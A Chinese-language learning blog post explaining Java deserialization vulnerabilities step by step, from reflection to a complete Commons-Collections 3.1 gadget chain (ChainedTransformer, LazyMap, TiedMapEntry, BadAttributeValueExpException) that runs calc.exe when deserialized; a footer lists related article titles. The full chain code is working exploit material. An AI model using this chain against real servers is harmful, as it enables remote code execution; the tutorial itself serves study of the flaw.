从零开始的JAVA反序列化漏洞学习(一)
前言:
大概是决定复现JAVA的CVE,第一个拿cve-2016-4437试试,但是之前没接触过JAVA,在历经磨难安装好IDEA maven和依赖环境,跟着各位师傅的教程调试源代码发现大佬们的教程都是跟到 可以控制传入readObject()的反序列化就没了,再细查便是什么CC4,CC3.1之类看上去很深奥的东西。深感基础不足,从头开始学JAVA的各种机制,如有错误疏漏不足欢迎在评论中指出。
利用Java反射执行代码
Java的反序列化是离不开Java的反射机制的,反射机制离不开Object类和Class类,关于反射已经有很多大佬写过详解,这里只用两个例子来说明如何利用Java反射来执行代码
第一个,经典弹计算器
public class Hello {public static void main(String[] args) throws Exception {Hello helloTest = new Hello();helloTest.oneTest();}public void oneTest() throws Exception{Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe");}
}
首先是几个关键的方法:
Class.forName()方法:
Class.forName是一个静态方法,可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader)
和 Class.forName(String className)
,参数String className为所需的类名,方法返回一个与给定的字符串名称相关联类或接口的Class对象。
getMethod()方法与invoke方法:一般同时使用
Method getMethod(String name,Class...parameterTypes)
,参数String name表示mothod的名称,Class parameterTypes表示method的参数类型的列表(参数顺序需按声明method时的参数列表排列),符合method名称和参数的method对象
Object invoke(Object obj,Object...args)
,调用包装在当前Method对象中的方法,参数Object obj表示实例化后的对象,Object args表示方法调用的参数
再来分析例子中的第一部分代码:
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
相当于调用了 Runtime类中的getRuntime方法并赋值给runtime,我们查看一下getRuntime方法的代码:
public class Runtime {private static Runtime currentRuntime = new Runtime();public static Runtime getRuntime() {return currentRuntime;}
}
因为是static方法,不依附于任何对象,所以在用.invoke()调用时可以没有 参数Object obj,返回的一个new Runtime对象。
再看第二部分
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe");
相当于调用了 runtime.exec(“calc.exe”),因为exec()方法不是static,所以invoke()方法需要一个Object obj参数,也就是第一部分返回的runtime。(PS. 个人觉得Java的反射机制有点模糊了 数据和程序 的边界,可以通过用户输入的字符串来调用没有预期的函数执行恶意命令。)
Transformer常见的恶意代码包装类
利用Transformer,我们可以构造一条可序列化的恶意的代码链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}
}class TransformerTest {public void runTest(){Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};//ChainedTransformer transformerChain也可以是Transformer transformerChainChainedTransformer transformerChain = new ChainedTransformer(transformers);//引爆点transformerChain.transform(null); try {//serialize testByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(transformerChain);} catch (IOException e) {e.printStackTrace();}}
}
先是一个transformer数组里面添加了ConstantTransformer
与InvokerTransformer
,之后用该数组为参数构造一个ChainedTransformer transformerChain
对象(这里也可以是Transformer transformerChain
对象,ChainedTransformer
类implements了Transformer
),调用它的transform()
方法
下断点调试下,可以看到ChainedTransformer
的构造方法和transform()
方法的代码为
public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
也就是transform()
会依次调用transformer
数组中transformer
的transform()
方法
继续调试,第一个是ConstantTransformer
的transform()
public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}//iConstant = class java.lang.Runtimepublic Object transform(Object input) {return this.iConstant;}
返回了class java.lang.Runtime
,再进入InvokerTransformer
的transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {//input:class java.lang.Runtimeif (input == null) {return null;} else {try {//iMethodName:getMethod//iParamTypes:Class[]{String.class,Class[].class}//iArgs:Object[]{"getRuntime", new Class[0]}Class cls = input.getClass();//调用getMethod来获取getMethodMethod method = cls.getMethod(this.iMethodName, this.iParamTypes);//调用invoke来执行getMethod来获取getRuntime方法return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}
用上面的反射基础知识可以知道,调用了Runtime
的getMethod()
方法(用一个与Runtime
相关联的class对象来调用的),来查找getRuntime()
方法,返回一个public static java.lang.Runtime java.lang.Runtime.getRuntime()
,(挺绕的,用getMethod来获取getMethod
,再用invoke
来执行getMethod
来获取getRuntime
)
也就是InvokerTransformer
类的transform()
方法将会以InvokerTransformer(方法名称, 参数类型,方法参数)
的形式调用方法,而方法所在的类或对象则是由链条上一步来返回的。
同理下面将执行invoke()来获取Runtime对象,然后执行exec(“calc.exe”),整体相当于
public static void main(String[] args) throws IOException {Runtime.getRuntime().exec("calc.exe");}
我们得到了一条可以执行恶意代码可以被序列化的ChainedTransformer transformerChain
,但是我们如何能够让它能够在正常代码中执行它的transformerChain.transform(null)
方法来执行呢?
重写后的readObject如何被执行
(这是我个人不整明白不舒服的疑问,只粗略写了调试过程,不感兴趣的话可以略过)
首先我们要了解为什么在重写readObject()方法后,在反序列化时会调用重写后的方法而不是原方法,来看一个例子
import java.io.*;public class Test {public static void main(String[] args) throws Exception {SerializeTest serializeTest = new SerializeTest();try {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp"));oos.writeObject(serializeTest);oos.close();} catch (IOException e) {e.printStackTrace();}try {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp"));Object p = ois.readObject();
// p.show();} catch (IOException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();}}}class SerializeTest implements Serializable {String str = "hello";public void show(){System.out.println(str);}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{System.out.println("readObject run");}
}
在Object p = ois.readObject();
可以看见,它被反序列化为了Object对象而不是SerializeTest的,为什么它可以找到重写后的readObject呢?
下断点然后可以看到调用栈
首先通过下图的调用来读取序列化串来获取类名
接下来是如何调用重写后的readObject(),先是调用ObjectInputStream的readObject()方法
之后进入readObject0()
,在方法内调用readSerialData(obj, desc);
然后跟入 slotDesc.invokeReadObject(obj, this);
-> readObjectMethod.invoke(obj, new Object[]{ in });
到达invoke()后就是我们上面提到的用反射来调用方法,执行了我们重写的readObject()方法
重写readObject方法导致的疏漏
例如在Java的代码中存在一个对象BadAttributeValueExpException
,它重写了它的readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}
可以看到存在一个toString()
方法,我们还要找到一条链可以从toString()
调用到transformerChain.transform(null)
我们将采用Commons-collections 3.1提供的类LazyMap与TiedMapEntry
首先是LazyMap:存在LazyMap.decorate()
,正常用法如下:
Map names = new HashMap();
Map lazyNames = LazyMap.decorate(names, transformer);
//将Map和transformer传递给lazymap
String name = (String) lazyNames.get("someName");
//调用LazyMap里面的get()方法,但当没有这个key时会调用transform方法得到value,返回get
System.out.println("name: "+name);
当我们尝试获取一个不存在的键值时,它会运行在LazyMap.decorate(names, transformer);
中传入的transformer
(有种PHP中的魔法方法的感觉),添加到我们的代码中测试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}}class TransformerTest {public void runTest() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);System.out.println(targetMap.get("anything"));}
}
成功调用计算器
现在我们的目标便是从toString()
调用到Map对象的get方法
,需要使用TiedMapEntry
再次包装
TiedMapEntry:该类主要的作用是将一个Map 绑定到 Map.Entry 下,形成一个映射
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}public Object getValue() {return map.get(key);}public String toString() {return getKey() + "=" + getValue();}}
可以看到其中的getValue()
实际上调用的便是map.get(key)
,所以我们可以构造如下代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}}class TransformerTest {public void runTest() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");entry.toString();}
}
成功调用
我们来构造整个调用链
public Object getObject() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
// entry.toString();// BadAttributeValueExpException val = new BadAttributeValueExpException(entry);BadAttributeValueExpException val = new BadAttributeValueExpException(null);//利用反射的方式来向对象传参Field valfield = null;try {valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, entry);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return val;}
为什么要用反射给BadAttributeValueExpException
中的val赋值呢?因为在其的构造函数中存在
也就是如果直接传入会直接在初始化的时候就执行了val.toString()
引爆我们的攻击链,攻击本机一次(hhhhh)
完整测试代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();//序列化byte[] serializeByte = test.serialize(test.getObject());//反序列化test.deserialize(serializeByte);}}class TransformerTest {public Object getObject() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
// System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
// entry.toString();// BadAttributeValueExpException val = new BadAttributeValueExpException(entry);BadAttributeValueExpException val = new BadAttributeValueExpException(null);//利用反射的方式来向对象传参Field valfield = null;try {valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, entry);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return val;}public byte[] serialize(final Object obj) throws IOException {ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(obj);return out.toByteArray();}public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {ByteArrayInputStream in = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(in);return objIn.readObject();}
}
参考
Java反序列化漏洞的原理分析
Java 反序列化过程深究
从零开始的JAVA反序列化漏洞学习(一)相关推荐
- java httpinvoker漏洞_Java反序列化漏洞学习
序列化是Java提供的一种对象持久化保存的技术.常规对象在程序结束后会被回收,如果想把对象持久保存方便下次使用,需要序列化和反序列化. 序列化有两个前提: 类必须实现java.io.serializa ...
- java反序列化漏洞的一些gadget
目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...
- 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十)-Java反序列化漏洞(2)
目录 前言: 2.项目配置 3.编写"java 反序列化漏洞"后端代码 4.编写"java 反序列化漏洞"前端代码 5.运行测试 前言: 本篇文章在上一篇文章基 ...
- shiro反序列化漏洞学习(工具+原理+复现)
工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...
- java反序列化漏洞-基础
基础: 要想了解java反序列化,首先要了解什么是序列化和什么是反序列化: 序列化:作用是将对象变为字符串 调用功能:ObjectOutputStream类的 writeObject() 反序列化:作 ...
- Apache Shiro Java 反序列化漏洞分析
Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...
- JAVA反序列化漏洞简单理解
反序列化原理 关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化 Java反序列化的API实现 实现方法 Java.io.ObjectOut ...
- java反序列化漏洞基础
前言 近年来反序列化漏洞可谓被大家熟知,尤其是的在JAVA 程序中发现了大量的反序列化漏洞,这种漏洞危害极大,可以直接造成RCE,获取到权限,本人之前对于这个漏洞一致认识很浅薄,甚至对于利用方式和工具 ...
- 6-java安全——java反序列化漏洞利用链
本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链. 我们知道序列化操作主要是由ObjectOutputStream类的 writ ...
- java 反序列化漏洞 利用思路简介
目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...
最新文章
- 零基础入门学习Pyhton(23)字典:当索引不好用时
- 【Python排序搜索基本算法】之拓扑排序
- 探讨TensorRT加速AI模型的简易方案 — 以图像超分为例
- 你当真了解count(*)count(id)count(1)吗?
- AcWing 253. 普通平衡树
- SecureCRT或XShell软件
- 设置背景色为渐变色 css
- vbb bbcode
- 亿网文交孟建州艺术品该怎么鉴别,代码分析
- win10锁屏壁纸提取保存
- 带宽与宽带的区别是什么?
- java anymatch_Java Stream anyMatch() API
- 如何恢复格式化丢失的资料?
- SQL对时间的操作,比如在当前时间上增加减少一天,在当前的时间上增加减少一个月
- 打开eclipse 运行发现tomcat出问题。如路径找不到 (1)eclipse 运行出现:The archive:C:/tomcat/bin/bootstrap.jar which is refe
- 教你如何拷贝IE浏览器的网址收藏夹
- 文华财经期货多空趋势指标公式,期货幅图高抛低吸逃顶抄底精准买卖点信号系统
- 这么多人用AI预测FIFA 2018,为什么总是会失败?
- 古典密码(部分合集)
- 从Level 0到Level 5,自适应学习可分为哪些等级?